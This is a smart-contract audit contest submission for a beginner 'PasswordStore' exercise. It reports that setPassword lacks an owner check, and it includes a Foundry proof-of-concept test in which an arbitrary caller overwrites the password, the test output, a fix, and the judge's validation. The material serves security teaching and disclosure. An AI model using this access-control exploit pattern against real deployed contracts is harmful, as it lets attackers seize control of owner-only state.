First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unprotected setPassword function allows anyone to set & reset the password

0xswahili

Summary

Unprotected setPassword function allows anyone to set & reset the password

Vulnerability Details

The function setPassword is supposed to be exclusively available to the contract owner. However, it lacks access-control restriction check therefore allowing anyone to successfully call it.

POC
Add this test to PasswordStore.t.sol

function test_anyone_can_set_reset_password() public {
string memory hackerPassword = "HackerPassword";
passwordStore.setPassword(hackerPassword);//anyone can set the password
vm.startPrank(owner);
string memory actualPassword = passwordStore.getPassword();
assertEq(actualPassword, hackerPassword);
string memory expectedPassword = "myNewPassword";
passwordStore.setPassword(expectedPassword);
actualPassword = passwordStore.getPassword();
assertEq(actualPassword, expectedPassword);
}

Then run it as

forge test --match-path test/PasswordStore.t.sol --match-contract PasswordStoreTest --match-test "test_anyone_can_set_reset_password"

Test results:

Running 1 test for test/PasswordStore.t.sol:PasswordStoreTest
[PASS] test_anyone_can_set_reset_password() (gas: 27780)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.68ms
​

Impact

Anyone can set & reset the password therefore the original owner-set password is lost.

Tools Used

Manual review

Recommendations

Add a check to restrict function access-control to contract owner

function setPassword(string memory newPassword) external {
if (msg.sender != s_owner) {
revert PasswordStore__NotOwner();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
almost 2 years ago
inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.